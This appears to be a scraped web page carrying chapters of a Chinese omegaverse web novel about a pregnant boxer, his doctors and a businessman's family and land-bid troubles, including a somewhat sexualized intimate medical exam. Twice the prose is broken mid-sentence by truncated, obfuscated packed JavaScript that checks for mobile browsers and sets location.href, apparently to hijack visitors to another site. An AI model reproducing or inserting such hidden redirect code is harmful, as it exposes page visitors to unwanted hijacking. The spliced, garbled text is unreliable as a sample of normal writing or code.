他一手环成圈,另一手做了个伸入、开指的手势:“每个产妇在进入产房前都要经过二到三次的内检,咱们科室每周都会接待几十名产妇。虽然你是AO双性患者,但对于我们而言,也只是一个普通的病人而已。” 闻言,洛城的眉心依旧紧蹙,但警惕的视线已经缓缓收了回去。他看上去还是有些犹豫,紧抿着唇纠结地思索着……半晌,他抬起头,眼神复杂地看一眼宁祁,随后望向杨主任:“那,只能杨主任帮我做内检,其他人不能旁观!” “好,没问题!”只要他肯答应,任何条件都好办!杨主任果断将其他人赶到一旁,再把病床边缘的隔断帘子拉起来,绕着床拉了大半圈:“你们在外头看屏幕就行。” “主任……”宁祁好似有些不甘心,期期艾艾地问:“您一个人,操作方便吗?” “没事,我能操作。”麻利地接过器械,杨主任不紧不慢地消毒、戴手套,一边准备一边温柔地吩咐洛城:“你把裤子脱了吧,侧躺到床上,抱住膝盖,放松身体。” 虽然经常在更衣室当着其他人的面换裤子,但这种情形还是头一次……洛城挣扎地心理建设了好半晌,最终牙一咬、眼一闭,把长裤卷着内裤一齐脱下来,视死如归地躺到了床上,侧卧抱膝。 惯来不见天日的地方接触到微凉的空气,洛城紧闭着眼,只感觉牙根咬得发疼,全身上下僵硬到极点。这时,杨主任走了过来,温柔地道:“没事,放松,别紧张……我会先用鸭嘴钳扩张一下入口,你不能太紧绷,不然会痛的。” 随着她的安抚,一个冰冷的器具抵到那个地方,借着凡士林慢慢地往里挤,一点点破开他的身体。洛城努力跟从杨主任的话,深吸一口气,肌肉一点点松懈,由肩膀到下肢……鸭嘴钳慢慢探到了深处,杨主任适时鼓励道:“很好,这一步你做得不错。” 接着,她将鸭嘴钳缓缓张开,饱胀的撑裂感让洛城忍不住“嘶”一声,倒抽了一口凉气。宁祁在外头听见这个动静,耳根不禁一跳,脑海里不由自主地想象出了他检查的场景——那个在八角笼中恣意搏杀的斗士,现在居然侧卧在病床上,被鸭嘴钳一点点扩开身体,露出最脆弱的部位。两个形象南辕北辙,却又矛盾地属于同一个人,那瞬间,宁祁抿抿唇,心底不禁生出了一丝异样。 这时,杨主任终于将鸭嘴钳扩张到位,转身拿起内窥镜的镜头,沿着窥器的空腔慢慢探进去。帘子另一侧,几名医生看见屏幕上出现了画面,立即围上前,仔细观察着画面显示的内容——只见肉粉色的褶皱甬道中,不远处的肠壁上有一个明显的蘑菇伞形凸起,中间微微凹陷,入口紧密,质地光滑、肥厚,形态饱满,看上去健康而富有弹性。这时,杨主任在隔壁问: “怎么样,看上去跟Omega怀孕时的生殖腔有区别吗?” “区别不大。”宁祁说,“看上去甚至更厚、更软。不知道是不是他激素水平非常高的原因。” “那你拍几张照,待会儿我出去看。” “好。” 杨主任随即将镜头抽出,又把鸭嘴钳收起,慢慢往外拉。一感觉它离开身体,洛城就立马翻了起来,飞快地拿过裤子往腿上套。杨主任还笑呢:“没事没事,慢慢的就习惯了。” 洛城郁闷地瞥她一眼,那样子仿佛被鸭嘴钳侵犯了,一脸的残念:“……我才不想习惯这个!” -------------------------- 闻人律房间的窗帘是那种密不透光的材质,拉上之后仿佛黑夜降临,一丁点儿光线都漏不进来。他躺在这黑夜里像一只孤独的野兽,身体明明渴求着伴侣,精神上却无比固执,依旧在负隅顽抗。 易感期的Alpha是敏感而亢奋的。隔着密闭性良好的房门,闻人律都能听见敏姨在外头走动的声音。他很清醒,清醒得令人崩溃——为什么易感期不能干净利落地睡过去?一觉睡三天、醒来后就恢复正常,而非要这样亢奋地期待着某个不知身在何处的伴侣? 闻人律气恼地低吼了一声。 不知道自我纾解了多少次,终于,在下午四点时,他感到一丝困倦,歪着头微微打了个盹儿。然而在睡觉时,他的五感也是灵敏的,仿佛是为了补偿那个夜晚的失职,耳朵和鼻子在十分尽责地站着岗。在清醒的睡梦中,闻人律不禁想,要是那天没有吃助眠药就好了……以自己的警惕程度,那个Omega一靠近房门,他就能立即发觉。即使对方身材高大,力气强劲,身上散发着异样的香气,他也能…… 嗯? 不由自主地回想到这儿,闻人律却猛地怔住了:那个人的香味……怎么好像记不起来了?隐约记得那是一种特别好闻、特别美味的香气,香得让人忍不住咬上一口。他是这样想的,当时也是这样做的,冲动地把对方摁到身下狠狠啃了几口。那种结实而柔韧的口感,仿佛是世界上最上等的肉,令人见之难忘。 ——但那个香味究竟是怎么样的? 迷糊之中,闻人律绞尽脑汁地思索着、回忆着……忽然,房门轻轻地打开了。他猛睁开眼,就见一个略显矮胖的身影蹑手蹑脚地走进来,手里托着什么东西,轻轻地、小心翼翼地打开了冰箱的门。在照明灯亮起的一瞬间,闻人律闻到了一股微妙的香气:芬芳的、朴实的、馥郁的,就像阳光炙烤下热气腾腾的麦田,散发着一股谷物的香气。 是了,就是这个味道。 眼底顿时迸发出异样的亮光,闻人律撑起上半身,沙哑而迫切地道:“敏姨,你拿着什么东西?” 敏姨吓了一跳,有些莫名:“就……烤面包三明治啊。” “我要吃。”说着,闻人律还不由自主地咽了一下喉咙。敏姨赶忙将三明治递过去,他像个几天没吃饭的恶鬼似的,抓起来便往嘴里塞。望着他急切的吃相,敏姨惊愕地呆立一会儿,忍不住小心翼翼地问:“少爷,要不……我再去做一个?” “唔,不用……”闻人律吃得嘴里满满的,瓮声瓮气:“你买几个面包回来吧。不要那些花里胡哨的,就全麦面包,烤得香喷喷的那种,刚出炉的……” 这要求好像有点儿高啊?敏姨寻思几秒,试探着问:“少爷,我会烤面包。要不你等等我,我烤几个给你吃?保证是刚出炉的。” 是吗?闻人律猛抬起眼,那期盼的眼神差点儿把敏姨闪瞎了:“好,你去烤吧,我要吃。” “哎,好,好……”赶忙拿上钱包赶往超市,敏姨一边挑面粉一边想:少爷什么时候爱吃面包了?他们这种健身的人,一般不都吃粗粮的嘛?而且他小时候也没这个爱好啊……百思不得其解。望着货架上琳琅满目的各式面粉,敏姨回忆一下闻人律的形容,香喷喷的、刚出炉的全麦面包,犹豫半晌,挑了一款最贵的高筋小麦粉。 --------------- 易感期三天,闻人律吃光了一袋五斤的小麦粉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572162|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他像个长期减脂的人终于饱食了渴望已久的碳水,结束之后完全没有耗尽精力的疲惫感,反而容光焕发,呈现出一种前所未有的饱满状态。陆庭风还想嘲笑一番他的古板守旧,结果到公司一看,嘿,精神抖擞的!难不成……这家伙偷偷开小灶了? 不禁眯起眼,露出坏笑,陆庭风挤眉弄眼地走到闻人律身旁,猛撞一下他的肩膀,捏起嗓子道:“哎哟,满面红光哦~怎么,想开了,不愿独守空房了?” 嫌弃地瞥他一眼,闻人律闪开些,不想挨着他:“阴阳怪气说什么呢。你以为我跟你似的,四处留情没点儿节操?” “哎你别装啦,大家都看得出来!你哪次易感期过后不是顶着两个黑眼圈回来?一副欲求不满的模样……这次神采飞扬的,肯定找到伴儿了吧?”陆庭风鄙夷地说。 伴儿?如果全麦面包是伴儿的话,那就是吧。闻人律不想与他多纠缠,自顾自走进办公室坐下,开始询问昨日开标的事:“昨天开标会,你们没出岔子吧?” “开标会能出什么岔子!”陆庭风好笑,“虽然我们投标次数不多,但也不至于这么废物……你就放一百个心!” “嗯。”淡淡应一声,闻人律又问:“什么时候出结果?” “公告说是一星期后,专家评标需要几天时间。” “白家的标,报价比我们高还是低?”最后环节只有五家公司入围,白氏集团就在其中。陆庭风记下了唱标时主持人公布的工程报价:“我记得他们报了334780万,比我们的高不少。” 高了将近三分之一……闻人律沉吟一会儿,随即点点头,不再言语。倒是陆庭风还等着他的下文,不放心地问:“要不……我们再请钟书记吃个饭,喝个茶?” “不必了。这个时间点,我们每一次邀约都是变相的催促,只会惹他厌烦。我在资源局里认识几个人,等评标结果出来,会有人提前告诉我的。”闻人律镇定得很,还给林秘书发OA信息让她来总裁办公室,汇报这三日的工作。陆庭风悻悻地瞥着他,总感觉没滋没味儿的,一转身荡了出去。 ------------------ 两日之后,投标那边还没音讯,经纪人李雪那儿倒是传来了好消息:伍沛霖跟杰克逊的比赛终于谈下来了,定在一个半月后的第291期数字赛,要飞往英国伦敦比赛。 闻人律终于有些高兴,特意跟李雪打电话,叮嘱了好几件事情:“随行翻译一定要配个好的,如果没有好人选,我这边可以给陆庭风放几天假,让他跟你们一起过去;伍沛霖人比较低调,口才一般,发布会上的发言稿你们最好给他写好,多演练几次,再学两句英文;还有他出场的服装,这次我可以拨一笔置装费给他,你们帮选两套合适的,一套西装,一套休闲装……” 叮嘱完了,李雪在那头发出一声诧异的笑:“律总,你第一次对伍沛霖的比赛这么上心。” ……一句话堵得闻人律无话可说。 陆庭风在旁边听见,又开始阴阳怪气:“哎呀,谁让某人的白月光请长假了呢~没办法,一腔爱意无处安放,只能便宜其他人喽~” 闻人律咬牙切齿地踹了他一脚。 陆庭风嘎嘎怪笑着跑出去,留下他心烦意乱地坐在椅子里,刚才的高兴劲儿已然烟消云散。说起来,洛城这厮也是真的绝情,请个长假,说消失就消失了,一点儿影子都不见。房子解押后已经过去两个星期,他也不来个电话问一下房子卖得如何,好像跟他无关似的,授权书一签,就什么都不管了!房主当得这么轻松……啧,自己是不是帮他代劳得太多了? 闻人律忍不住磨牙:混账,你房子的过桥资金还是我出的呢!你现在欠着我一千多万,知不知道?! 又过了几日,投标结果即将发布。那天早上,闻人律正如常工作,一条信息悄悄地发进了他的信箱,发出“嗡嗡”的细微颤动。他浑身一震,立即从口袋里拿出手机,点开查看,信息中只有四个字:白氏中标。 五指一颤,手机跌落地面,闻人律紧抿着唇,感觉自己的后槽牙几乎要咬碎了。 29. 父子相见,分外眼红 下午五点,申城某栋低调庄重的办公大楼里,钟书记刚开完一个冗长的会,佝偻着腰回到办公室,拿起桌上温热的红茶缓缓喝了一大口。张秘书跟在他身后走进来,手里拿着会议记录,忽然,钟书记仿佛想起什么,转身望向他:“京城闻人家的那个小孩儿有没有给你打电话?” “没有。”张秘书如实汇报,“早上九点出的公告,但他那边一直没有音讯。” “哼。”钟书记满意地笑笑,长舒一口气靠进椅子里,双腿交叠:“现在的年轻人,就是要经历一点儿挫折,性子才会平顺。这次杀一杀他的锐气,下次他来见我,就知道什么话该说,什么话不该说了。” “说得对。”张秘书适时地附和,“说不定这会儿,他正沮丧万分呢。” ……这一点,傲慢自得的二人却是预料错了。在经过短暂的愤怒和不满后,闻人律的心情奇异地平定了下来,大脑呈现出一种异样的冷静和清醒。真正沮丧的是陆庭风,他歪在办公室的沙发上一边咒骂一边咬牙切齿:“太过分了……太瞧不起人了!不想让我们中标可以呀,干嘛还要吊着人呢?两头吃好处,厚此薄彼,卸磨杀驴……” 他语无伦次地痛斥着钟书记,半晌骂累了,身体一倒,躺到沙发上,欲哭无泪。闻人律没搭理他,兀自在资源局网页上不停地翻阅着,寻找下一个合适的地块。良久,陆庭风终于爬起来,死鱼眼状望向他:“你不准备把钟书记约出来,探一下他的口风嘛?收了我们那么多好处,不可能连个说法都不给吧?” 闻人律看都不看他一眼,双眼只快速地浏览着地块信息:“急什么?他现在肯定得意着呢,等我们病急乱投医,再从中拿点好处。这时候我们一定要沉住气,按兵不动,等他自己疑神疑鬼了,我们再拿着新的条件跟他谈补偿——” “……什么新条件?”陆庭风不解地凑过来,望向他的电脑屏幕:“你在找新的地块啊?” “嗯。”浏览一遍没有合适的,闻人律揉揉眉心,目沉如水:“不着急,再等等。咱们花了那么多钱,可不能让它白白打水漂了。” “话是这样说,但申城最近有出售意向的商业地块就这么几个,你要是等上个一年半年,钟为鸣还认不认这个债都是问题……咱们没法儿等太久啊。”陆庭风头疼地道。 他说得确实不错。好的地块太贵,买不起;性价比高的地块人人抢,钟为鸣明显偏袒本地企业,也不一定会帮忙;剩下的都是住宅地块,变性难,也不划算……不禁左右为难,闻人律点了支烟深吸一口,长腿烦躁地换了个姿势,鞋尖无意识地一下下敲击着地面,发出“嗒嗒嗒”的声音。 陆庭风被那钟摆似的节奏催促着,大脑飞快地思索、筛选……忽然,他眼睛一亮,道:“咱们不如看一些工业改造的地块!选一个合适的,然后申请土地变性,让钟为鸣在其间出点儿力,他肯定不好拒绝!” 合掌一拍,闻人律赞同地看他一眼:“你总算机灵了一次!”立即熄了烟、坐直身体,马不停蹄地开始物色工业改造地块。 ------------------- 二人精神亢奋地筛选了两个多钟头,连晚饭都忘了吃,终于找到三个位置比较合适的旧厂房。陆庭风比较属意其中一家机械厂房,高大宽阔,方便改造;闻人律则属意另外的红砖厂房和纺织仓库,样式复古,别有风味。两人各执一词,争论不下,最后决定找个时间实地勘察一番,再作定夺。 “行了,先去吃饭吧,饿扁我了。”揉揉肚子,陆庭风拖着疲惫的身体准备回办公室拿外套,一出门就见闻人晴娉娉婷婷地迎面走过来,身姿摇曳,黑色裙摆轻轻飘荡。他不禁怔住,问:“小晴?你来找你哥啊。” “嗯,在对面见你们这儿还亮着灯,就过来找他一起吃个饭。”说着,闻人晴走到办公室门口,轻轻唤了闻人律一声:“律哥,你还不下班吗?” 闻人律也一怔,略微诧异:“你怎么来了?” “来跟你吃饭。”闻人晴的神态淡淡的,丝毫不觉得这邀约太过突兀。她如此理所应当,搞得闻人律也不懂怎么拒绝,只好说:“行,正好我跟陆庭风也饿了,一起吧。” “陆哥就别了吧。”闻人晴却这样道:“我们兄妹俩还要说点儿家里的私事呢,下次再请陆哥吃饭。” 说着,她短促地笑笑,朝陆庭风递去一个“不好意思”的眼神,人家自然不好再坚持:“没事,你们吃,我去找林秘书。”拍拍屁股一溜烟跑了。 ……看来是三叔找自己有事,闻人律心想。于是不再言语,收拾东西跟她一起下了楼,坐进专车里。闻人晴陪他坐在后排,出发前对司机说:“李叔,你往正阳街那边转一圈,我妈在那边做保养,这会儿应该结束了。” 闻人律不禁瞥她一眼:“三婶从欧洲回来了?” “嗯。她待得无聊,就回了。”说着,闻人晴拨通妈妈的电话,平淡声线忽的变得甜腻,小女孩儿似的跟妈妈撒娇:“妈~我接到堂哥啦,你出来吧,马上过去接你。嗯,好,你再等五分钟。” 不一会儿,车子在一家美容院门前停下,打扮得高贵优雅的Omega中年女性在外头冲闻人律摆摆手,随即拉开门坐进来,用喜气洋洋的语调道:“哎呀小律,好久不见,你还是这么帅啊!” 闻人律笑笑:“好久不见,三婶,你倒是越来越年轻了。” “哎哟~这话我爱听,哈哈哈!”现年五十二岁的葛玉容女士笑声爽朗,动作夸张,一看就是热情奔放的人。她向来看不惯闻人家遗传的冷性子,常常对着女儿和侄子说教:“你们这几个小的,天天板着一张脸,看上去比我还老气,不像话!尤其小律,冷脸不说,还是个工作狂,你这样怎么讨得到老婆啊!” 闻人晴听得无奈,帮堂哥解围道:“妈,律哥哪里是发愁讨老婆的人?只要他想,大把人等他挑呢,你操心什么。” “你别插嘴!你现在这个男朋友也不像话,跟我见面就叫一声阿姨,多几句话都说不出来,连之前那个拳击手都不如!人家虽然背景差了点儿,但他都能跟我谈天说地呢,还逗我开心,你说你干嘛跟他分手?” 听三婶说起洛城,闻人律神情微妙,忍不住打岔道:“对了,小晴,之前你给洛城的那张卡,他托我还给你。我这几天太忙,忘记了,明天你记得提醒我。” 闻人晴一怔,面色有些不自在:“他干嘛给你啊。” “那天他来公司办手续,顺便就给我了。” 闻言,葛玉蓉转身望过来,问:“你们说的洛城,就是那个拳击手吧?我好像看见新闻了,他这次比赛打得不好,还被经纪人诈骗了一千多万。小晴,你怎么也不帮帮人家?” “我帮了……”闻人晴欲言又止地看一眼堂哥:“可是他不要嘛。” “他不要你就再给啊!”葛玉蓉痛心地道,“你俩好歹谈了一年多,人家对你掏心掏肺的,你也要诚恳一点!而且他现在名利双失,正是最脆弱的时候,说不定一来二去,你俩爱火重燃,又复合了呢?” “三婶——”听她说得越来越离谱,闻人律在一旁凉凉地开口道:“小晴跟洛城不可能了。” “为什么?”不止葛玉蓉,这回连闻人晴也用疑问的眼神望了过来。沉默几秒,他淡淡地哂笑一声,决定不再替洛城遮掩:“跟你分手的那天,他去某个宴会买醉,睡了一个omega。现在对方怀孕了找上门,他想要那个孩子,就跟我请了一年的长假,去给人家照顾孕期、当模范老公去了。” 闻言,葛玉蓉和闻人晴面面相觑,脸上都露出了难以置信的失望神情。她俩若有所思地沉默着,半晌,葛玉蓉叹口气,道:“……哎,家世差果然不行,眼皮子太浅了。”她似乎并不在意洛城与别人有染的事实,反而为他的事业遗憾:“一个孩子而已,以后也未必没有,何必要大张旗鼓地请一年长假呢?真是本末倒置。” 闻人晴微垂着脸,没说话,看上去也是同样想法。闻人律淡淡地睨她们一眼,心情终于舒畅,扭头对着窗外飞掠的景致露出了一个浅淡的笑。 -------------------- 四十分钟后,汽车穿过树影浓密的道路,缓缓停在一幢欧式别墅前。闻人律预料到今日应当是三叔有话要跟自己说,但走进大门后,他却在客厅的沙发上看到了自己最不想见的人——他的生身父亲,闻人谦信。 面容不禁一僵,他下意识抿紧嘴角、拧起眉头,一言不发地望着那个年近六十的威严Alpha。三叔闻人谦义看见他,抬高了音调招呼道:“小律,你来了啊,看看这是谁?” “……哼,他早把我忘了。”冷哼一声,闻人谦信斜眼瞥着儿子,硬板板的脸看上去就像闻人律苍老30岁的样子。父子二人是如此相像,感情却又如此的淡薄而生硬,搞得为这次见面牵线的人都开始不自在了:“哎呀,哪里的话!大哥,小律怎么会忘了你的六十大寿呢,他只是嘴巴严一些,想着给你一个惊喜罢了!”葛玉蓉打圆场道。 “没有,”闻人律冷着脸,却不准备给他们面子,“我确实是忘了。最近忙得很,压根儿没想起这事。” 此话一出,葛玉蓉等三人立即尴尬得无言以对,闻人谦信也一瞬间铁青了脸,薄唇颤颤地紧绷着,末了讥讽地大笑一声:“忙?你忙什么,忙着给钟为鸣送钱,然后被他狠狠地涮一把吗?!……一块地而已,你都拿不下来,脱离了我,你能做成什么事!” 父子俩说话都是一模一样的戳人心窝子,闻人谦义听得于心不忍,赶忙埋怨地制止:“大哥,小律做得够好了,你别这样说他。” “随便他怎么说,反正我习惯了。”留下一个森冷的眼神,闻人律没有丝毫留恋,转身大步朝门外走去。闻人晴站在他身后,视线接触之间,她露出歉意的表情,好像在为自己的欺瞒道歉。但很快,闻人律就走远了,高挑的身影消失在花园之中。闻人谦信面色铁青地坐在沙发里,忍不住怒声骂道:“……这个孽障!” -------------------- 闻人家修罗场的同时,洛城正在一个小饭馆里跟宁祁吃晚饭。 孕期进入第十一周,他的孕吐微微减轻了些,只在早上和午后会有些干呕,夜晚能吃一顿好饭了。这天下午,他在屋里天昏地暗睡了一下午的觉,晚上七点多才醒来,饿得前胸贴后背。 恰逢宁祁下班,对方发来一条信息,问:你在休息吗?洛城答:我还没吃饭呢。宁祁立即道,我也没吃,一起啊。 于是二人成行。 洛城见他风尘仆仆地赶过来,脸上还带着社畜的疲惫,忍不住道:“你下了班就近吃饭不就行了,干嘛非要到这边来请我吃,不会是图谋不轨吧?” 他一语中的,宁祁不得不佩服他野兽一般的直觉——下班前,杨主任确实找到自己,叮嘱他与洛城多亲近亲近:“有了交情,才好开展工作,不然他总防着我们,问什么都不肯说。” 宁祁深以为然,于是特意选了家稍远的小饭馆,避开同事,点了四个炒菜招待他:“我就是见你hcg水平开始下降了,猜想你孕吐应该好了些,就请你吃个饭……你最近瘦得厉害,多吃点儿,不然你的粉丝都要认不出你了。” “认不出最好。”洛城在狼吞虎咽的间隙中瓮瓮地这样表示,“我现在瘦成这样,他们要是认出来了,说不定会以为我是比赛失利后大受打击,磕药消愁。” “哈哈哈哈哈哈哈!”围观过他“类固醇传言”的宁祁表示很有可能,有些网友思维相当发散,看热闹不嫌事大,上下嘴皮子一碰,谣言就此产生。不过……他忍不住抬眼望向洛城:“我也是你的粉丝,现在你最大的秘密都被我知道了,不怕我脱粉吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572163|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忍不住朝他翻了一个大大的白眼,洛城狠声道:“你快脱粉吧,我求你了!不然一个粉丝老关心我肚子里的问题,我害怕!” 宁祁又被他逗得前仰后合。 “说实话,一开始我确实挺震惊的……毕竟你那么孔武有力,称你为中国最强的Alpha也不为过,谁能想得到你体内还藏着一套发育成熟的Omega生殖系统呢?”宁祁低声感叹。“那一天,你答应留下这个孩子,我心里是既高兴、又担忧。毕竟,如果你因为生育导致职业生涯中止,我想,所有人都会觉得遗憾的。” “唔……”洛城含糊地应一声,思忖着道:“之前你们做b超,能看清我体内的构造吗?Omega的那部分,应该可以安全切除吧?” “B超看得不够清楚……其实最好做个CT,但你现在怀着孕,也不方便做。估计要等剖腹产的时候,打开肚子再仔细看。合适的话,也许能把切除手术一起做了,这样不用二次开腹。” “那万一,里头的构造比较复杂,不好一起做呢?” “那就只能先把肚子缝好,再从长计议了。” 哎……长叹一口气,洛城没滋没味儿地放下筷子,顿时没了胃口。 此时是晚上八点,餐馆里人不多,零零散散坐了一半位置。洛城落筷之后立即把口罩戴上了,以防有人认出自己。然而他身材高挑,坐下来也是长手长脚的,加上眉眼深邃,食客都忍不住多看一眼。 这不,有一个清俊的Beta男性打着电话走进来,冷不丁瞥见他,那视线就忍不住粘在他身上了。 对于这种直勾勾的注视,洛城现在已经无法坦然地接受——他忍不住生硬地偏开脸躲了一下,同时催促宁祁:“你怎么还没吃饱?” 宁祁茫然地抬起头:“嗯?”见他神情躲闪,便顺着方向望过去……下一秒,他条件反射地站了起来,脸上露出一个仓促的笑:“秦医生!你来这里买汤啊?” 对方这时才看见他,怔愣一瞬,直勾勾的眼神立即降了温:“嗯。这是你朋友?” “呃,对,我朋友。”宁祁颇为殷切地望着他,还想再说什么,对方却不再言语,兀自打包了一份例汤,匆匆离去:“我回去值班了,你们慢吃。” “好。”神情变得悻悻,宁祁敛了笑容坐下来,默默地收回视线,却不小心对上了洛城似笑非笑的揶揄眼神:“那是你同事啊?” “唔……我们院长的儿子。”宁祁淡淡地答。洛城立即了然:“原来如此~唉,我劝你还是放弃吧,没希望的。” 宁祁筷子一顿,还想遮掩:“什么没希望。” 洛城奚落地瞥着他,心说还装呢,当别人是瞎的?干脆戳破道:“那些上等人都眼高于顶,你没点儿家世,他们是看不上你的。帅又怎样,聪明又怎样,比不上一个良好的出身,我劝你啊,还是别费心机了,这是我经验之谈。” 听他这样说,宁祁不禁想起赛前他的失恋传言,忽然感觉有机可乘——挖掘一个秘密很艰难,但交换一个秘密却很简单。思忖着,他沉吟一会儿,突兀地笑了笑,语调是前所未有的低缓:“我知道……家世这种东西,有就是有,没有就是没有,装也装不出来的。” 说着,他瞥洛城一眼,面容露出些许苦涩:“我家境很普通,爸妈是县城的中学教师,比不上有些同事们,家里不是做生意的,就是当官的。为了升副主任医师,这几年我是使出了浑身解数,加了无数个班……结果回头一看,人家轻轻松松就升上来了,你说我找谁说理去?” “切,你家还算可以了——”洛城嗤笑一声,不以为然:“我妈还是个无业游民呢!每天就打点儿临时工,后来我长大了,她发现喂不饱我了,才去商场找了个销售的工作。至于我爸,哈,我都不知道他是谁!当年他搞大我妈的肚子就拍拍屁股走了,让我妈一个人面对家里的压力,最后被扫地出门。你说,我这开局的难度是不是比你的大多了?” “那我俩走的也不是一个路子嘛。”话匣子终于打开,两个人都有自己的牢骚,你一言我一语地互相倾吐: “我爸妈从小就教我,好好学习、长大出人头地。他俩说得倒是轻松,可实际做起来哪有那么容易? “谁还没点儿难处啊?我小时候学拳压腿,被教练逼着练功,起得比鸡早、睡得比狗晚,半夜还要抽筋疼醒——可练体育的不都这样吗,有什么好说的!” “我知道……但我不如你优秀嘛,你是万里挑一,我只是百里挑一。”宁祁很有自知之明:“这年头,单靠自己努力已经很难跨越阶级了,想出人头地,就只能找别的路子——” 说到这里,他笑了笑,也不再遮掩:“我确实追求过秦医生。要是能跟他结婚,我以后的升迁之路就有了保障,子女也不用再苦兮兮地死读书……只可惜,人家看不上我,我追也是白追。” “嚯,你想得挺远啊,连子女的未来都考虑到了!”洛城不禁感叹。反观自己,虽然早早的就开始谈恋爱,但好像从来没思考过这一茬…… 宁祁意味深长地注视着他,忽然问:“你没想过吗?比如,现在你肚子里的这个宝宝,如果他的爸爸身世显赫,想必未来的路会更轻松吧?” 提起宝宝的身世,洛城的面色立即露出一丝僵硬——这个话题向来是禁忌。宁祁以为今夜的推心置腹会让情形有所改变,却没想到洛城依旧守口如瓶,只轻哼一声,斩钉截铁道:“没有如果——我是宝宝唯一的爸爸。我足够有名,也能赚不少钱,我的孩子,未来必定会一帆风顺,不需要怀疑!” 听他这样说,宁祁心中一颤,不由抬眼望去——此时的洛城虽然神情冷酷,但干净的下巴和逐渐柔和的面部轮廓却让他的气质有了一丝不同。这一刻,宁祁忽然意识到,洛城不仅仅是个Alpha……他还是一个Omega,货真价实、如假包换。 30. 专横独断 原本完全扑在工作上的心忽然被分走了一部分,闻人律就像一台被占用了内存的电脑,时不时就要走神一会儿。陆庭风正跟他梳理往后几日的行程,看看哪天能腾得出空去老厂房实地考察一番,这人却心不在焉地垂着眼帘,回应敷衍:“应该可以……差不多。再说吧。” 陆庭风于是叹口气,摆摆手让林秘书先离开,心累地自己倒了杯咖啡喝:“算了,你没精神就先休息,省得我们陪你一起耗时间。” 闻人律身形一顿,疲惫地看了他一眼。 这人跟亲爹的糟糕关系,陆庭风稍有耳闻。传说当年闻人律出生不到半年,他爹就跟他妈离婚了。母亲远走美国,火速再婚,父亲辗转四年,也娶了个新老婆,又生了个新儿子。于是在那个家里,闻人律成了彻底的局外人。 俗话说得好,有了后娘,就有了后爹。虽然亲娘也不怎么管他吧,但人家隔着太平洋呢,相比之下,还是亲爹的疏远更有杀伤力一些——闻人律六岁时就被他丢开了,跟一群帮佣生活在城郊的别墅里,十天半个月才能见父亲一次。 不过传闻中他爹很专制,所以陆庭风分不清究竟是闻人律可怜一些,还是他那个天天被老爹管束在眼皮子底下的弟弟更可怜一些。但是很快,他们兄弟俩就没有差别了,因为闻人律的学习太过出色,高中时,他爹终于父爱苏醒,将他接了回去。 陆庭风就是在那时候认识闻人律的。 贴心地端来一个果盘,陆庭风见他神情终于松懈,眼中露出疲态,立即端正坐好,准备当一个尽职的聆听者。却不料,闻人律斜眼一瞥,盯着果盘挑剔道:“怎么是哈密瓜?” “……啧,你真难伺候!”骂骂咧咧地给他换了盘西瓜,闻人律终于屈尊降贵地伸出手,拿起叉子扎了一块慢慢吃。陆庭风忍不住了,问:“你爸突然从北京跑过来,到底为了什么事啊?别跟我说他是为了办寿宴——你们闻人家的大本营在京城呢!” “你消息这么灵通,居然不知道?”闻人律冷笑一声,斜眼刺他,“我那个同父异母的好弟弟,在他欢欢喜喜准备六十岁大寿时,半夜酒驾把别人撞截瘫了!对方家里也有点儿背景,他花了好大力气才摆平,中途还不小心摔了一跤,把腿给摔瘸了。气得上火,这不,就想起我来了。” “哇哦——”陆庭风阴阳怪气地感叹一声,“你弟跟你,真是两个极端。” 一个冷漠低调,一个任性张扬,容貌上也全无相似之处。闻人家霸道的基因在他弟弟闻人杰身上头一次失了效,一丁点儿痕迹都没留下。为此,他爹曾满腹疑窦地去做了亲子鉴定——结果令人失望,这居然真是自己的亲生儿子。 “恰好他呼吸道的老毛病又犯了,医生建议他到南方休养一阵子,所以就过来了呗。”说这话时,闻人律露出嫌恶的神色,脸上写满了“不要来打扰我”。可这老头子昨天的所做所为,明显就是冲着他来的,陆庭风不禁深感同情:“从今往后,你怕是没有安生日子过喽~” 闻人律用力剜了他一眼:“乌鸦嘴!” ----------------------- 下午四点半,二人终于挤出一个半钟头的时间,火速赶往其中一个旧厂房。路上闻人律仔细看资料,发现这个纺织厂以前曾是国营大厂,由四座厂房和两栋四层办公楼组成。如今被居民区和小商圈环绕,附近还有两所中学,申城体育学院也在不远处。 快要到达目的地时,闻人律的视线被街边飞掠而过的一片青葱树林吸引了,看那模样似乎是个公园。上网仔细一查,原来是旧区改造将几栋老旧的筒子楼推倒了,改建成一个小公园,再过几个月就能对外开放。见状,闻人律把平板往陆庭风那儿一丢,当即立断:“另外两个厂不用看了,就这个吧。” “你不要这么早下决定嘛,万一那两个厂的周边配套更完善呢?”说着,陆庭风放大地图认真翻查,嘿,你别说,还真就比不上这个。不多时,二人到达目的地。当走进厂区看见那四栋高阔的红砖厂房时,陆庭风忍不住“哇——”一声,感叹道:“这几栋厂房要是改造好了,那该多漂亮啊!” 边上的闻人律已经开始给每一栋厂房分配功能了:“四栋,一栋训练馆,一栋康复馆,一栋健身馆,最后一栋用于普通办公。部门办公室就放在另外两栋四层小楼里,找个上下贯通的小房间加固一下,装个电梯,应该能用。” “那室外跑道呢?”陆庭风问。 此时二人正好走到厂房和小楼的中间,望着眼前偌大一片杂草丛生的空地,闻人律难得露出了一个笑容:“——这不就是了?” 